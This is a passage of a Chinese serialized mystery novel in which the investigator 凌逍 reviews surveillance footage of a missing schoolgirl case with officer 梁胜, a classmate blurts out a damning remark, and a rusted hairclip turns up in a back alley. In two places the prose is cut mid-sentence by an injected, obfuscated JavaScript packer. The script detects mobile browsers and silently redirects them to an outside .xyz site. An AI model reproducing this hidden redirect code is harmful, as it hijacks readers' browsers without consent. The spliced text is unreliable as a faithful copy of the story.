她冷汗涔涔,不由回想起刚刚自己说的一字一句。其中是有奇怪之处不假,因为事实就是这样的,队长也提过这个问题……却不料对方一下子就点出了这其中矛盾! 直到此时,她才苦笑一声,心服口服。 “没错。事关一条年轻的生命,我们怎么可能在这种紧要时候偷懒犯错?我也怀疑过是不是和案件有关,但调查后发现确实只是一个巧合……” 6月28日晚,那是一个燥热的夏夜,日头虽然落下,但酷暑的闷蒸依旧难耐。县城有几处大的公园和广场,一到晚上就是老头老太太们的广场舞时间,玩耍的小孩子也多,一般警车都会去那边值守秩序,那天正好轮到梁胜帮忙值班。 晚上7点30分,突然对讲机响了。队长说就在刚才接到一起群众举报电话——阳街上的小酒吧开业,有人在聚众吸食可疑物品。她的车最近,要求立刻过去处理。 警车呼啸而过,余光扫过阳街与废弃贫民窟小巷交错的路口时,那里隐隐绰绰的黑暗蔓延缠绕,让人突然莫名打了个冷战。 梁胜略一瞥,又强行按下这股不安,全身心投入任务中。 7点40分,警车到达路尽头的酒吧,开业大折扣酬宾,顾客和看热闹的人都不少。梁胜和辅警两人一时控制不住秩序,又从局里叫了还在值班的支援。冲进去一看,的确有几个人在吞云吐雾、神志不清的模样,还有个人明显喝高了,吵吵嚷嚷地动起手。 更有问题的是,几个附近的学生也混了进来,老板本来心存侥幸,谁成想警方就直接来了。梁胜干脆把市监局喊过来,当场开了停业整顿和罚款的单子。 这一切说起来很混乱,最后结束时候也不过晚上9点。酒吧老板痛哭流涕立刻就关了店,梁胜也松了一口气,紧接着又接到了一起紧急警情—— “速回局里!” 就在9点整,程家报警了。 8. 凝固的时间(八) 凌逍听完梁胜讲述当天的情况,只是沉吟道:“这一切真的很巧合啊……” 是的,乍一看只是巧合。无论过程怎样,难道警方最后不是顺利拿到了酒吧的监控视频、初步锁定了作案时间在6点05分到9点、排除了阳街上大部分商户的嫌疑吗? 说到底,谁能预料到这种事情发生呢?世界之大,巧合的东西多了去了。 凌逍冷笑道:“梁警官,唯结果论可就大错特错了……如果这个结果,是有人借你们的手、特意让你们‘看到’的呢?” 梁胜心底惊慌,喃喃道:“特意让我们‘看到’?你是指什么?” “我的梁警官,自然是……【犯罪时间】和【犯罪地点】啊。” “这是什么意思?” 凌逍又在本子上涂画几笔,不答反问:“第二个问题,当时你觉得监控视频上有可疑人员吗?”似乎笃定梁胜已将视频里的人调查了个底朝天。 梁胜一赧,老老实实说出来:“当时我认为有几个人很可疑。而且说起来也有点儿巧合。酒吧里那个打架的就是你老……就是李英。” 王燕红的丈夫李英,是个彻头彻尾的混蛋。一连几天不见人影,其实案发当天已经回县里,根本没告诉王燕红。他听说新开的酒吧便宜、畅饮,还有漂亮姑娘,就拿着打工的钱醺醺然去了。喝高了之后,习惯性地惹事生非,不巧就被警察带走。 梁胜总觉得前后蹊跷,让队长反复排查了李英的嫌疑——监控显示,李英是在晚上7点进入的酒吧。这个时间说起来有些微妙,如果是6点05到7点钟,李英去了什么地方的话,也是完全有可能的。只不过经过证实,李英刚给一户人家修完下水管,算算走到酒吧的时间,差不多是对得上的。 所以,最后排除了他与程小樱事件的关系,只是因为打架治安拘留了两天。 梁胜摇头:“李英没有嫌疑。” 连着程小梅也补充:“阿姨,李叔叔和我们家……的确平时往来少,和爸妈曾经有些口角,但也和小樱没矛盾啊。” “这样啊。”凌逍神色丝毫不变:“不过人性是没有下限的,谁知道呢。” “还有其他可疑人物吗?” 梁胜冥思苦想:“应该是没有了。” 而且,现在梁胜回想起来,就算酒吧监控拍到又能怎么样呢?如果存在这样一个凶手,那么‘他’大概根本没有出现在阳街上,而是在必经小路上见到了小樱。这段监控,只能证明程小樱没有来过这里。 说不定她的追查思路,本身就是错误的。又说不定她的怀疑本身,是错误的…… “不见得。梁警官,你只看到了表面所谓的作案时间、证据、证人,被监控视频牵着走,却忽略了一件很重要的事情。” 凌逍直直伸出手:“都到了这个份上,还有什么不能给我看的呢?梁警官,你有视频备份,还一直随身携带,是吧?” 在凌逍的追问下,梁胜节节败退。沉默片刻,她从包里取出一个u盘,递过去。凌逍从家里翻出一个沉重的二手笔记本电脑——这还是李英还在厂里上班时候的东西。她把u盘插了进去。 屏幕上赫然是案发时唯二监控视频。 凌逍笑道:“多谢了,否则我可能还要费点功夫呢。”说罢,她迅速敲击了几下代码,对比放映着学校与酒吧的两段视频,画质也修复了不少。十几倍速让人眼花缭乱,凌逍却习以为常、眼也不眨。 梁胜与程小梅不由为之侧目。 她时不时暂停放大一下,似乎在观察什么细节。程小梅自不必提,连梁胜这样的刑侦好手都无法在黑白视频中分清如此多的陌生人,而凌逍却仿佛有所发现,间或动笔在本子上写写画画。 6点05分,程小樱果然出现在了视频中,她穿着校服,扎着小辫子,额头处别着一个发夹,脸上是快乐的笑。 很快,凌逍若有所思地指了指屏幕。 “梁警官,这个人,你知道他是谁吗?” 梁胜皱眉看向暂停的画面。 左边是校门口放学时的情况,穿校服的学生众多,但大多数是回家或者走大路的,只有少数打算小路穿到阳街。此时定格的时间是6点10分,正在程小樱离开学校的5分钟后,有几名男生也朝着程小樱的方向结伴蹦跳而去,书包挂件晃晃悠悠,脸上显而易见的是兴奋之情。 右边的画面定格在7点40分,正值警车达到酒吧门口的功夫。监控上围观的人群熙熙攘攘,其中只有小半个衣角出现在画面最角落,根本分辨不出是谁。 凌逍见梁胜不明所以,干脆放大再放大画面。 一个像是书包挂件的东西赫然跃出屏幕。 “这——”心念剧震之间,梁胜瞳孔瞬间放大,面色猛然一变! 凌逍问:“那几个男生,是谁?” 梁胜心中乱极,一直不知道自己竟然忽略了那么多细节。她咬紧嘴唇,好一会儿,才死死从牙缝儿中冒出答案。 “是……程小樱的同班同学,去年我在调查初一(三)班所有人的时候见过,记得分别是……”毫无差错地点出名字。 凌逍点头:“不错,是这几个人。” 然后又摇摇头,语气中甚至有一股莫名说不出的凉意。 “但是,梁警官,你调查的时候有发现一件事情吗?这里面的这个男孩子,正是我的亲外甥,杨方——” “尽管我和他妈妈亲姐妹早就闹翻,但他曾经在我家住过、玩过、叫过我儿子表弟、叫我姨妈,这是无法否定的事实!” ……怎么会有这样的巧合!! 外甥、丈夫、邻居……所有人,都兜兜转转,竟然都是王燕红身边的人! 还有这个杨方……很显然,是这里面最有嫌疑的人之一! 程小梅与梁胜均是一惊,脑中翻江倒海,一时完全跟不上凌逍的思路! 尤其是梁胜,一边是强烈的直觉,一边是不断发现的遗漏的细节,纷乱极了。脑子一阵嗡鸣作响,“哗”地一下起身,眼前满是金星。 她再顾不上什么,迅速分析:“杨方在小樱之后出校门,最后又出现在了阳街上,可摄像头只在7点40分拍到了他……这代表着什么?其中一定有问题!” 她想了想:“我这就去再次彻底调查杨方!无论他有没有嫌疑,都很有可能与这起案件有关!” 又唰地站起身,焦急难耐地踱步,“事不宜迟,我这就回局里去,然后去学校找人!” 凌逍不徐不疾反问道:“梁警官,你要再去调查什么呢?” 梁胜声音急切:“当然是案发当天的经过!我还记得,我曾经调查过小樱班级里所有人的不在场证明,大部分学生都直接回家了。但那天是杨方的生日,他和几个朋友只说一起去吃晚饭庆祝,吃完饭哪儿也没去直接回家了,几个人的笔录都一模一样,饭店和家里也核实过了…… “可现在看来,杨方的不在场证明,很明显是不完全的!我肯定忽略了很多细节,或者,他们全部都在说谎!” 凌逍沉吟片刻,没说对,也没说不对。 凌逍的声音很沉,听不出情绪:“梁警官,你有你的办案思路,我也有自己的方法去找出真相,如果有什么确切的线索,我会及时通知你的。但我希望你能把所有的询问笔录都给我一份。” “为什么?”梁胜问。 凌逍答:“所谓证据,并不一定只是一把刀、一个视频。在没有直接证据的情况下,从现有的线索中挖掘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796612|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矛盾可疑之处——这也是一个突破口。我可以帮上你的忙,一起解决这个悬案。” 梁胜咬紧牙关:“好,回去就发给你。” 凌逍点点头:“很好,还请你顺便帮我调查一件事情。” “什么?” “是一件很普通,我却很在意的事情……” …… 待梁胜匆忙离开,墙上挂钟的指针已经指到十一点左右了。 距离【任务一:找到真正的人渣】结束时限,还有54小时。 程小樱和凌逍就着剩下的早餐包子和小菜吃了几口,一个心事默默躺在床上不说话,消化着上午令人震惊的事实;一个则是叮嘱再三,悄悄出门。 树叶沙沙作响,一阵冷风卷过落叶,初秋萧瑟、乍然云起。凌逍站在自家铁门口,迎着阴沉沉的天与远方,微微眯起双眼,视线不知落入这片天地的何处。 她的手中是一张薄薄的纸,上面是方才写写画画的东西,让人着实摸不到头脑。但如果有人懂加密式测绘地图的方法,就会发现,这里赫然是以王燕红家为中心,直到阴山另一头的所有的路线地图,其中包括王燕红家附近的后巷子、石头路、学校、阳街和周边小路、甚至是整个阴山。毫无差错,甚至连地势之差都详细标注出来了。 系统探头:“现在你要做什么?不是要等梁胜那边发笔录给你吗?” 凌逍:“嗯,不过现在我要先去重走一天案发当天的路线。我怀疑,我程小樱的目的地可能根本不是阳街。” “那会是哪里?” “这个嘛,亲自走一遍也许会有提示。” 不是猜测,而是实际去看,去看某人的所见、所闻、所听、所想。一条生命曾经从那里经过,欢笑过,恐惧过,然后遇到了无法想象的痛苦…… 这一切的事实与感情,都无法分割,除了亲身体会,别无他法。 系统无法体会这些人类独有的情感,电子音只是催促道:“别忘了我们的【任务一】只剩一天半了。你知道谁才是真正的人渣了吗?” 系统等了半天,却见凌逍并不回答。 系统想了想:“你也觉得嫌疑人是杨方吗?我看那位梁警官风风火火地去调查了。” 凌逍不置可否:“调查也好,也许她那边会发现很多有趣的事情。越挖掘,越觉得这次事件迷雾重重,有种层层剥茧的感觉啊。” 她对系统道:“你还记得梁胜的分析吗?” 系统一字不差地复制梁胜脱口而出的分析:“杨方在小樱之后出校门,最后又出现在了阳街上,可摄像头只在7点40分拍到了他……她说,这其中一定有问题。” “不对,如果我是她的话,绝不会将这里表面结果作为调查重点,”凌逍摇头,“你再跳出来,将所有的连在一起看。” 系统略一反应,然后声音竟然有些断断续续起来。 “将所有连在一起……杨方在小樱之后出校门,又出现在酒吧附近,李英也出现在了酒吧,连警方也出现了酒吧——” “人物和地点,这才是一个巨大的巧合!” “是啊。”凌逍轻轻地叹了口气。 她的神情中似乎有一种笃定,却又猜测不透。她的语气悠远,却又别有一种奇异的复杂。 凌逍慢慢道:“这就是我要梁胜顺便调查的问题……对于她而言,只是一次最寻常的工作,或许从始至终都没有注意过这件小事,毕竟惯性思维总是会蒙蔽人的双眼。但我却并不这样看。” “还记得她说的话吗?” ”6月28日晚,警方接到了一起群众举报电话。” “那么,问题来了。” “到底是谁——向警方举报酒吧有问题的呢?” 9. 凝固的时间(九) 县城的二中,是这片贫瘠土地上孕育的希望之一。校园占地面积不大,但教学楼、操场、宿舍、食堂一应齐全,操场一周还有同学们亲手种植的小树苗。待到年轻学生们振翅高飞、冲向广阔的天地时,这树苗大概也会随之长成,亭亭如盖。 二楼走廊的尽头,是初二(三)班的教室。从初一到初二,时光荏苒年复一年,等过完这个暑假,这里就会再度换上初三(三)班的牌子。正值下午最后两节课的大课间,刚进入青春期的学生们还不理解现阶段在人生中的意义,他们躁动难安,说笑打闹享受忙里偷闲的时光。 当然,在这片嘈杂中,也有人不动如山,埋头于成山的课本中,显得有些异类。 “想当年,我小学的时候就在班级里面是大哥,打架没对手!现在只要你打招呼,说是我的人,保管没人敢动你!”一个男孩子正坐在桌子上吹嘘。 他人高马大,有种体育生特有的阳光帅气,平时喜欢惹事生非,但事情也都不大,又对老师嘴甜、对同学够阔绰,人缘倒不错。他外号“壮哥”,班里不少男生围在一起真真假假地起哄:“壮哥牛x!” 男孩子于是心花怒放,滔滔不绝:“好几个妹子倒贴追我,我一个都看不上,嗨,幼稚可爱的那种不行,还得是高中生!” 吹起这方面的牛皮,男生们也跟着兴奋起来:“真行啊!” 其他有的学生看不过去,小声议论起来:“吵死了,还有人学习呢。” “谁?”“壮哥”一哽,虚张声势地嚷嚷起来。又见女生们往角落靠窗的位置看,他不禁低声骂了一句,气势汹汹地冲了过去。 那里正是李耀成的位置。 “哟,这是什么东西啊?”跑到角落靠窗的位置,“壮哥”从埋头看书的男孩子手里抢过一本书。 "什么嘛,还以为在学习,原来尖子生也在看杂书?” “爱伦坡……”他念出来,转头问跟班,“爱伦坡是个什么玩意儿,洋鬼子?” 很多男生也跟着起哄起来。李耀成却头也不抬,似乎这些事情对他来说已经习以为常,整个世界都是过于喧嚣的。 “壮哥”气不过,于是“啪”地把书往地上一扔,哈哈大笑起来。 “这是我的东西。”李耀成平静地,一字一字道。 “我的”两字,咬得尤其重。 “壮哥”不屑:“你的又怎么样!老子就扔了!” 标准打架前的斗嘴,对于年轻气盛的初二男生来说,最管用。 然而李耀成只是点点头,不言不语,慢慢俯身捡起书。 这本书包着老旧书皮,泛黄的纸张也已微微卷边,露出的书页上面隐隐有工整字迹,显然这本书已经被认真翻阅了无数次。 李耀成正要捡起来,却见一只运动鞋突然狠狠地踩在了书页上,拧了拧。 然后,泛黄纸张上赫然留下了小半个泥脚印。 “哈哈哈哈!这么破的书,有什么好看的!一个人学学学,这么不合群,活该没人喜欢你!” “壮哥”的声音隐约有点发虚,不过很快又嚣张起来。他本来没打算做到这种程度,但当这个孤僻的少年缓缓抬头时,那双黑得过分的眼眸上微微蒙着一层雾,没有情绪地看着对方—— 尽管看了许多年、许多次,却依旧让人不由心生凉意。 两人陷入隐隐对峙,班级里吵闹的声音也为之一静。 初秋阴冷的风吹进窗缝,许久,不知谁嘟囔一声“好了散了,一会儿把老师招惹来了”,停滞的气氛才又活络起来。 突然,李耀成嘴角露出很浅很浅的一个弧度。 他本身就生得干净,衣物又一丝不苟、连个褶都不会留下,这让他显得十分清爽,与许多同龄男孩子格格不入。 “杨方。” 李耀成不徐不疾地叫出了“壮哥”的大名。 冷不丁被喊大名,杨方被叫得身上发毛,不由结结巴巴回应道:“干嘛?” 按亲属关系来说,杨方,正是王燕红亲姐姐的儿子,李耀成的亲表哥,身上甚至留着一股同样的血液。 他初一下学期才转学到这个班级,小的时候还常会见面,后来两家因为钱的事情闹翻了,就基本没来往了。杨方没要求他叫“哥”,反正从小到大,李耀成也从来没喊过他“哥”。 “你知道什么物种才会强制要求自己合群吗?”李耀成的声音中有一种奇异的、微妙的嘲弄。 “是蚂蚁。它们成群结队地去觅食,却不知道这一生为什么存在。毕竟一群头脑空空的工蚁并不会去思考,它们只需要盲目服从蚁后的命令,庸庸碌碌,直至忙到死去的那一天。” “这样已经够悲惨了吗?不,不仅如此。它们的一生还那样短暂。如果哪天遇到了外部危险,就比如庞然大物般的人类,只要不注意时轻轻一脚,它们的生命就会立刻终结——蚂蚁,就是这么脆弱的生物啊。” 他很少一口气说这么多话,声音略尖略细,带着青春期少年特有的音调,听起来却并不刺耳。 这话听起来太抽象深奥,杨方挠挠头:“所以呢?” 李耀成只是浅笑了笑。 他微微歪头,看起来有些疑惑:“你这样惹事生非,难道不怕某天像蚂蚁一样,遇到外部致命的危险吗?” 这句话杨方听懂了:“你他妈咒谁呢。能有什么危险?” 李耀成:“唔,也许是惹到什么不该惹的人,最后警察来找你呢?” “开什么玩笑?” 周围男生们顿时七嘴八舌,还有嘲笑的声音:“你告老师就算了,还不成还因为这点事报警?”“你家是开警察局的啊,说叫就叫来?” 面对诸多围攻质疑,李耀成一如既往的平静从容。 “我不喜欢和你们这种人开玩笑。” “去年,警察不就来过么。” 他环视四周,这样说道。 此话一出,刚刚热络的一些气氛,立刻就冷了下来。 就像是突然触碰到了某个达成共识的禁忌开关,较之于方才略带尴尬的安静,此刻,甚至可以称之为“噤若寒蝉”。所有人面色剧震,却不再作声,你看看我,我看看你,隐晦的、恐惧的情绪在人群中流淌。 有一种逼迫的窒息感,在这间教室中不断蔓延。 去年,警察为什么来? 啊,对了,是因为【那件事】。 班级里一个女生,她有着明亮的眼睛,可爱坦率的笑容,是一个普普通通的初一学生。然后,就在平平常常的一天,放学之后,她再也没回来过,仿佛突然从这个世界中消失了。 就如同……蚂蚁毫无知觉地走在了人类的脚下,悄无声息的,失去了所有消息。 青春期的孩子们,胆子大,对未知的一切抱有热情的探索,又喜好夸大周围的一切。如果事情发生在隔壁学校,甚至是隔壁班级,他们大概都会兴奋地窃窃私语,带着禁忌的色彩去窥视、宣扬,这无非也是人之 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除了初一(三)班的学生们。 自从那天起,一种挥之不去的恐惧在心底蒙上了阴影。他们不懂所谓生命的分量,只是在想……会不会,下一个是自己呢? 从此,他们对这件事讳莫如深,就算是不小心提起,也是【那件事】和【她】隐晦替代。 在一片几近凝固的寂静中,李耀成不以为意,慢条斯理地弯腰,捡书。 似乎刚才的一切对他毫无影响。 过了半分钟,又仿佛过了许久许久,杨方声音干涩,神情复杂,不复方才嚣张模样。 “你想说什么?去年……”杨方顿了顿,却不知该说什么,“去年……” 李耀成:“对,就是去年那次。你,还有其他四位同学,被单独叫出去询问了很久吧,而且不止一次?是一个女警察,似乎尤其对你格外关照呢。” “如果没嫌疑,怎么会被叫出去最久呢?”他凝视后面围观聚集的同学们,声音中有一种奇异的笃定,让人不由自主信服。 “你是不是隐藏了什么?” “对了,”他又轻轻一叹:“说不定,下次还是那位女警姐姐来这个班呢。” “李耀成——!” “你他妈到底什么意思!事情已经过去很久了,警察为什么还会来?”杨方大口喘着粗气,死死抓着头发,“我他妈和【她】又没什么关系!” 李耀成:“噢?” 李耀成对此没回应什么,只是发出一声略带轻蔑的怀疑。 他明明在坐着,却是一种居高临下、俯瞰人类的姿态。尤其那双黑得过分的双眸,轻飘飘地瞥来时,带着审视与质疑,好像很久以前就将自己看透了。从小到大,明明自己的家庭条件更好,明明自己人气更高,却偏偏…… 正是这一声轻轻的嘲讽,一瞬间,就炸开了杨方的暴脾气开关! 杨方愤怒极了,尤其是想起去年被带出去问话的屈辱——这极大影响了他作为大哥的威严! 于是他不禁想也不想地脱口而出。 “烦死了,我不就是被程小樱甩了吗!凭什么怀疑我?!” “我是疯了才会在过生日当天杀了她!!” …… …… 就在这句话说出口的一瞬之后。 整个教室,都陷入了长久的凝滞之中。 10. 凝固的时间(十) 在初二(三)班,不提起与【她】的事情,是一种默契。而或多或少与【她】有关系的学生,都不约而同地将共同的回忆埋藏,仿佛从不曾存在过这个人,也不曾存在过相处的时光。 但现在,这种默契被杨方一下子打破了。 不知多了多久,在这片诡异的寂静,身后的小跟班才反应过来。他嘴里仿佛撑着鸡蛋,张大老半天都合不上。 什么甩不甩的……什么杀了她?! 好一会儿,他才惊慌失措地问:“ 壮哥,你和【她】……?” 老天,什么被甩,不对,什么时候两个人私下有过接触的?! 他们怎么不知道?! 去年女警做询问笔录的时候,他们几个小弟只按照杨方的要求统一了说法,反正谁都不想惹麻烦。于是,大家只说当天为了庆祝杨方的生日,一起去阳街吃了顿饭就散了,谁都和【她】不熟。 事实上当天大家的确只是聚餐庆祝,自然由杨方这个冤大头请客。然后到了大约7点,杨方突然说自己还有事。恰好那时候天差不多黑了,家里管得都挺严,就各自散了。 等被询问时候,小弟们就是这样说的。问到与【她】的关系时,都说从来没和她一起玩过,什么关系也没有。 可是,为什么杨方曾经和【她】…… 不对,这他妈到底是怎么回事?杨方所谓的“有事先走”,到底是去了哪里? 是不是,他们几个其实已经对警察说谎了?! 许久,一个看起来小小的男生突然捂嘴惊呼道:“天啊,难道杨方才是杀了【她】的凶手……” 明明是没有根据的推测,凭借的不过是粗暴的直觉,和对方一次脱口而出的失言。 但这一刻脱口而出的话,正是每个人心照不宣的想法。 他们并不知晓那一天到底发生了什么,但是这并不妨碍人类以自己的想法和主观印象去单方面幻想、还原画面,并对此深信不疑。 如果是在发生【那件事】以前,或许大家还会嘻嘻哈哈,表面上开玩笑“壮哥真是的,什么话都不忌口”,把这一页在日常中翻过去。但是,此时此刻…… 没有人接这句话。 有的只是一片令人窒息的,死寂。 当火气逐渐消退,占领脑海的愤怒逐渐被理智所取代时,杨方才堪堪反应过来,自己刚刚到底说了什么愚蠢的话。 他张了张嘴,怔忪地环视四周。 此刻,班级里几乎所有人都围在他的身旁。这是他第一次受到如此的瞩目,曾经这是少年多么期待的荣耀,可那些目光并不是羡慕、尊敬、讨好的,而是怀疑、恐惧、厌恶的。 他们窥探他,就像是在看一件垃圾,看一个传染源。他们避之不及,一旦目光交错,就会猛地把头转开。他们没有质问他,只是开始小声地窃窃私语,用眼神互相传递着怀疑—— 看啊,这个人曾经和【她】、和【那件事】有关! 是啊,不管是不是凶手,他都一定有问题,否则警察怎么会尤其在意他呢? 咚、咚、咚。 杨方听见,那是血液往上翻涌,心脏剧烈跳动的声音。他听见自己磕磕巴巴地、甚至是略带祈求地解释: “不对,【那件事】,真的,真的和我没关系……” 无论他如何解释,依旧没有人回应。 怀疑就像一颗种子,不知何时、何地被何人洒下,尽管没有任何证实,可是落入每个人的心里,便迅速长成了参天大树。 他们忘记了,整件事的起因是一场同学之间不大不小的争吵、或者说欺凌。在胡乱幼稚的事件走向中,几乎是猝不及防地,每个人的心,都不由渐渐回到了去年那个过于闷热的夏天—— 叮零零,上课铃准时响起。 老师来到教室,见教室里乱作一团,不由皱眉敲了敲黑板:“围在一起干什么呢?赶紧散了,上课了。” 复又一顿,欲言又止:“杨方,外面有人找你,赶紧去。” 这个时候,谁会来学校找人,还能让老师传话? 有种奇妙的集体预感迸发出来。班级里的同学们争先恐后地探出头,却见走廊不远处站着一个女人,运动服,齐耳短发,帽檐压低看不清神情,可是那侧面—— 分明有点像去年来过几次的女警! …… 在一片抑制不住的哗然声、议论声、老师的制止声中,唯独后排靠窗一隅清净异常。哪怕就在几分钟前,这里还是风暴的中心。 少年平静端坐在书桌前,初秋的凉风吹拂起他的发梢。 他微微抬头,也看见了此刻大家窥探走廊的骚动,听见了他们对于来人的议论。 “偏偏是今天找来……”有点超出预料的迅速啊。发生了什么? 一丝极其细微的疑惑情绪,浮现于少年的面庞。 “哪里不太对劲啊……” 但这声极低的喃喃细语,很快消散在角落中。 他理了理被风拂乱的丝,然后慢慢翻看起那本老旧的短篇小说集。 【门外站着厄舍府高个子的玛德琳小姐。】 【……他被吓死了。这倒在他的预料之中。】 半只泥脚印,恰恰踩在了这一页泛黄的纸张上。 旁边同桌是个略腼腆的女孩子,对于这位遭受无妄之灾的同学,她不由安慰道:“别听杨方乱说,我哥哥也喜欢看爱伦坡,他去年考上了华大文学系呢。” “我看你很珍惜这本书,可惜书页被弄脏了。需要纸巾吗?” 李耀成摇摇头。 他的声音浅浅有着遗憾,惆怅,还有一种复杂的、不正常的情绪,眸子是微微垂视俯瞰的,可唇角却是微微上扬的。 暗淡的光亮中,划出一道好看的、细微的弧度。 “是被弄脏了。” “确实很可惜啊……” 不知何时,在老师怒气冲冲的制止声、同学的窃窃私语声中,窗户露出了一道缝隙。冷风卷入,一只蚂蚁顺着缝隙从外面爬进来,似乎在寻找温度与食物,不知不觉来到了书桌中间。 它在这个庞大的世界中茫然地行走,浑然察觉不到外部突如其来的危险——或者说,即便察觉了,又怎么能够抗衡呢? 啪—— 薄薄的小说集,轻轻拍在了书桌中间。 宛如高墙忽然崩塌而落。 “不过没关系。”李耀成对同桌笑了笑。“毕竟是唯一爱惜的东西。” “我会自己【处理干净】的。” 他这样说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796614|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 …… …… 下午5点整。 凌逍已经走完了图纸上大部分的路线,几乎把半个县城走了个遍,还顺便花大价钱买了一个诺基亚手机,和梁胜交换了联系方式。 此刻天色渐晚,想必再过一会儿就要迎来晚上6点放学高峰期。凌逍绕了又绕,再度回到县初中的大门口。她每一次的路线都并不是完全顺着走的,经常是兜兜转转,往返几次,有的地方还重复了,好像是走迷宫,尝试着某条最终路线一样。 凌逍不断尝试着各种排列可能,看得系统都有点眼花。现在,她以初中再次作为出发点,走入附近交错的巷子,顺着最后一条未经探查的小路走去。 系统被绕蒙了:“你到底在找什么?” 凌逍:“我在找他们走过的路。我说过,我怀疑程小樱要去的地方根本不是阳街。” 系统:“他们?谁和谁?” 凌逍耐心对系统解释道:“程小樱是从学校走出来的,她有一个要前往的地方。我们的要找的人渣自然也是如此,【他】从一个地方出发,也有一个要前往的地方。而这些路径交汇的地方,大概就是第一案发现场……甚至可能是尸体在的地方。” “无论是否交错出发、中途去了哪里、躲在哪里,甚至故意安排了迷惑的路线。他们的路径,最终一定是在某个地方重合交汇的。” 系统有点迷惑:“你都不知道任务一的答案到底是谁,怎么能猜测【他】走过的路线?这难道不是一种悖论吗?” 凌逍答:“找出他的路,就是同时在找他的人了,这两者并不是分割来看的。况且,我已经隐约有了一个答案,只是现在还没有任何证据……” 但这个答案,凌逍并未说出口。 她只是道:“找出所有的可能,排除一切不可能,剩下的就是答案——无论这个答案有多么荒谬。至于证据嘛……” 系统:“如果已经被人渣彻底处理干净了呢,怎么办?我觉得这个人心思十分缜密。” “是吗,”凌逍不以为然,“我倒是觉得,如果轻松地下这种【处理干净】的定义,那也未免太过自负了。也许能够说出这种话的人,在某种程度上,从未将自己作为‘普通人类’看待,甚至可能将整个人类群体都视为‘物品’,大概率心理扭曲。” 系统:感觉有被冒犯。 “法证之父的罗卡定律指出,凡走过必留下痕迹。也就是说,无论隔了多久,无论多么缜密,存在过的罪恶都永远不会消失。” “况且,还有最重要的尸体没有找到,不是么?” 凌逍的目光落在远处的阴山,那露出的山顶环绕着深绿松柏,带有萧瑟之意,形状阴森。 她站在这些颓败小巷中,声音低而平,顺着风飘到了乌云密布的远方,消散。 “【他】,就隐藏在我的身边,不过那又怎么样?” “我要做的,就是找到足够的证据,找到被藏起来的尸体,找到【他】。” “无论是谁,无论过了多久,无论出于什么隐情,任何人都必须为自己的罪恶付出代价——没有例外!” …… 距离【任务一:找出真正的人渣】结束时限。 此刻,还剩48小时。 11. 凝固的时间(十一) 荒无人烟的小巷,肆意生长的灌木丛,坍塌的瓦房,均昭示着这条并不连通阳街的小路,是一条人迹罕至的路线。去年,警方并未仔细搜查过这里,或者说,因为专案组多方研判,并未将这里划为重点调查区域,只是粗浅地排查过一遍。 昨天下了一夜的雨,这里常年见不到太阳,泥泞无比,石头上长满了青苔。凌逍轻盈地在砖石之中行走跳跃,迅速扫过周围痕迹,并不疏漏任何可疑之处。 忽然,她放慢脚步,在一处停留了下来。 雨后的路面几乎没有脚印,显然近期并没有任何人来过。角落中有腐烂后风干已久的垃圾,蚂蚁成群经过,似乎在寻觅食物。就在这样毫无人迹的角落,一处石头缝隙中,微微露出了一点极其细微的痕迹,正常人几乎无法用人肉眼发觉。 那是一个没有任何光泽的、已经被腐蚀的金属小片,上面有浅浅的小孔,只隐约从石头缝中看到一点异样,沾着泥土与青苔的痕迹。凌逍不知从哪摸出了一双白色手套和塑料小袋子,小心翼翼地蹲在,夹起来。 经历了春日细雨、夏日雷鸣、秋日风霜、冬日暴雪,它上面沾染了污泥,被掩埋于石缝泥泞中,却并未完全失去原本的样貌,只是布满了时间的痕迹—— 是一个生锈的,铜质发夹。 残余的一点点红色漆迹,能够想象出它很久以前鲜艳亮丽的颜色,别在少女的发丝之中。 系统:“这是什么?有点眼熟……” 凌逍闭上眼,王燕红的回忆跃然浮现在脑海。 她看到回忆中一个快活的小姑娘,她有着大大的圆眼睛,甜甜的笑容。樱花盛开之际,散开的枝桠伸出矮墙,她探出身子从矮墙爬到自家院子里,仰头祈求邻居阿姨不要再逼小哥哥学习了,她想要和他一起出去玩。 她的肩上粉色的樱花,脸畔是热烈的夕阳,红色发夹反射出耀眼的光芒。6月28日的那一天的监控中,她的鬓边也带着这个最喜欢的小装饰。 这是程小樱的发夹。 凌逍缓缓站起来眺望。她的视线穿过透明袋子里的发夹,目之所及尽是破败残垣,是逼仄的狭小巷子,白日依旧不见阳光。即便是成年人,都怯于独自行走在这样阴森的路上,更遑论晚上。 前方十几米,就是交错的路口,宛如缠绕的藤蔓分分合合,向两个不同的方向延伸出去,而这枝蔓又再次不断延展,汇成复杂的迷宫,极容易迷失其中。 但同时,完整的地图路线在凌逍脑海中跃出,几处看似毫无关系、遥远的地方,便在一瞬间连在了一起。 凌逍对系统说道:“你知道再往前是哪里吗?” 系统扫描了一下,很快答:“我们是从学校的方向过来的。前面的岔口往左走,再穿过几条小路就是阳街的方向,但是……” 电子音停顿了一瞬,竟然有些迟疑:“诶,奇怪,这条路并不通往阳街,而是直接绕道了阴山另一头……难道她迷路了?我们现在也迷路了?” 阴山并不算高,但因为山上并未开辟登山步道、又有碎石,加上曾经有人黑夜上山采果子不小心摔死了,于是下面一圈干脆围起了足有四五米的网,行人绝对无法翻过。阳街尽头的小酒吧也是如此,因此警方在那里封路以后,自然而然并没有探查阴山里面——当然,这也是个不可能完成的大工程。 